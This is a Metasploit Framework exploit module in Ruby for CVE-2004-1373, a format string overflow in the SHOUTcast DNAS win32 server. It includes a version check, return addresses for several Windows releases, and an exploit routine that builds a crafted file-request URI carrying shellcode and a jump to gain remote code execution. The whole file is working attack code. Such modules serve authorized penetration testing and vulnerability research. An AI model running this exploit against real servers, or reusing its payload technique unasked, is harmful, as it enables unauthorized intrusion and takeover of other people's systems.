##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',
      'Description'    => %q{
        This module exploits a format string vulnerability in the
        Nullsoft SHOUTcast server for Windows. The vulnerability is
        triggered by requesting a file path that contains format
        string specifiers. This vulnerability was discovered by
        Tomasz Trojanowski and Damian Put.
          
      },
      'Author'         => [ 'MC', 'mandragore[at]gmail.com'],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2004-1373'],
          [ 'OSVDB', '12585'],
          [ 'BID', '12096'],

        ],
      'Privileged'     => false,
      'DefaultOptions' => 
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 250,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          ['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799 }], # ws2help.dll
          ['Windows 2000 English ALL',       { 'Ret' => 0x75022ac4 }], # ws2help.dll
          ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll
          ['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638 }], # PEB return          
        ],
      'DisclosureDate' => 'Dec 23 2004'))
      
      register_options(
        [
          Opt::RPORT(8000)
        ], self.class)
  end

  def check
    r = send_request_raw({
      'uri' => uri
    }, 5)
    
    return Exploit::CheckCode::Safe if not r
    
    m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
    return Exploit::CheckCode::Safe if not m
    
    print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")
    
    # SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
    if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
      if (m[2] == "win32")
        return Exploit::CheckCode::Vulnerable
      end
      print_status("Vulnerable version detected, but not a win32 host")
    end
    
    return Exploit::CheckCode::Safe
  end

  def exploit
  
    num = 1046 - payload.encoded.length
    uri = '/content/%#0' + num.to_s + 'x' + payload.encoded
    uri << "\xeb\x06" + rand_text_alphanumeric(2)
    uri << [target.ret].pack('V') 
    uri << "\xe9\x2d\xff\xff\xff"
    uri << '#0100x.mp3'

    print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
    send_request_raw({
      'uri' => uri
    }, 5)
    
    handler
    disconnect
  end

end